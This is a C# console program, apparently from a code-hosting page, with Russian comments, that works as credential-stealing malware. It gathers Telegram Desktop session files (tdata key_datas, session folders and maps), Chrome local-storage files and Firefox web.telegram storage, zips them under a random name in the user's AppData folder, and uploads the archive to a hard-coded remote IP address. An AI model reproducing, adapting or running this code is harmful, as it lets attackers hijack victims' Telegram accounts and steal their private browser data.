130 lines
4.1 KiB
C#
130 lines
4.1 KiB
C#
// See https://aka.ms/new-console-template for more information
|
|
|
|
using System.IO.Compression;
|
|
using System.Net;
|
|
|
|
string currentUserPath = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
|
|
string folderPathTg = Path.Combine(currentUserPath, @"AppData\Roaming\Telegram Desktop\tdata");
|
|
|
|
string webfolderPathEdge = Path.Combine(currentUserPath, @"AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb");
|
|
string webfolderPathGoogle = Path.Combine(currentUserPath, @"AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb");
|
|
string webfolderPathFirefox = Path.Combine(currentUserPath, @"AppData\Roaming\Mozilla\Firefox\Profiles\");
|
|
|
|
string webfolderPathFirefoxI = "";
|
|
|
|
if (Directory.Exists(webfolderPathFirefox))
|
|
{
|
|
foreach (string dirname in Directory.GetDirectories(webfolderPathFirefox))
|
|
{
|
|
if (Directory.Exists(Path.Combine(dirname, @"storage\default"))){
|
|
webfolderPathFirefoxI = Path.Combine(dirname, @"storage\default");
|
|
}
|
|
}
|
|
}
|
|
|
|
string randomName = Path.GetRandomFileName().Replace(".", "").ToUpper() + ".zip";
|
|
|
|
var filesToArchive = new List<string>();
|
|
filesToArchive.Add(Path.Combine(folderPathTg, "key_datas"));
|
|
string[] dirs = Directory.GetDirectories(folderPathTg);
|
|
string folder = "";
|
|
foreach (string filename in Directory.GetFiles(folderPathTg,"????????????????s"))
|
|
{
|
|
string temp = filename.Substring(0, filename.Length - 1);
|
|
if (dirs.Contains(temp))
|
|
{
|
|
folder = Path.GetFileName(filename);
|
|
folder = folder.Substring(0, folder.Length - 1);
|
|
filesToArchive.Add(filename);
|
|
filesToArchive.Add(temp + "/maps");
|
|
|
|
|
|
}
|
|
}
|
|
|
|
|
|
string zipPath = Path.Combine(Path.Combine(currentUserPath, @"AppData\Local"), randomName);
|
|
|
|
using (ZipArchive zipArchive = ZipFile.Open(zipPath, ZipArchiveMode.Create))
|
|
{
|
|
foreach (string file in filesToArchive)
|
|
{
|
|
if (File.Exists(file))
|
|
{
|
|
if (Path.GetFileName(file).Contains("maps"))
|
|
{
|
|
zipArchive.CreateEntryFromFile(file, "tdata/"+folder+"/" + Path.GetFileName(file));
|
|
}
|
|
else
|
|
{
|
|
zipArchive.CreateEntryFromFile(file, "tdata/" + Path.GetFileName(file));
|
|
}
|
|
}
|
|
}
|
|
if (Directory.Exists(webfolderPathEdge))
|
|
{
|
|
foreach (string filename in Directory.GetFiles(webfolderPathEdge))
|
|
{
|
|
if (!filename.Contains(".log"))
|
|
{
|
|
//zipArchive.CreateEntryFromFile(filename, "Edge/leveldb/" + Path.GetFileName(filename));
|
|
// Исправить систему
|
|
}
|
|
|
|
}
|
|
}
|
|
if (Directory.Exists(webfolderPathGoogle))
|
|
{
|
|
foreach (string filename in Directory.GetFiles(webfolderPathGoogle))
|
|
{
|
|
zipArchive.CreateEntryFromFile(filename, "Google/leveldb/" + Path.GetFileName(filename));
|
|
// Исправить систему
|
|
}
|
|
}
|
|
if (Directory.Exists(webfolderPathFirefoxI))
|
|
{
|
|
foreach (string dirname in Directory.GetDirectories(webfolderPathFirefoxI))
|
|
{
|
|
if (dirname.Contains("web.telegram"))
|
|
{
|
|
if (Directory.Exists(Path.Combine(dirname, "ls")))
|
|
{
|
|
zipArchive.CreateEntryFromFile(Path.Combine(dirname, @"ls\data.sqlite"), "Firefox(data.sqlite)");
|
|
}
|
|
}
|
|
|
|
}
|
|
}
|
|
}
|
|
|
|
string uploadUrl = "http://194.87.238.17/tghd.php";
|
|
|
|
try
|
|
{
|
|
using (WebClient client = new WebClient())
|
|
{
|
|
client.UploadFile(uploadUrl, zipPath);
|
|
}
|
|
}
|
|
catch (WebException ex)
|
|
{
|
|
if (ex.Response != null)
|
|
{
|
|
using (StreamReader reader = new StreamReader(ex.Response.GetResponseStream()))
|
|
{
|
|
string errorResponse = reader.ReadToEnd();
|
|
Console.WriteLine("Ошибка при отправке архива на сервер: " + errorResponse);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine("Ошибка при отправке архива на сервер: " + ex.Message);
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Произошла ошибка: " + ex.Message);
|
|
}
|
|
|
|
//File.Delete(zipPath);
|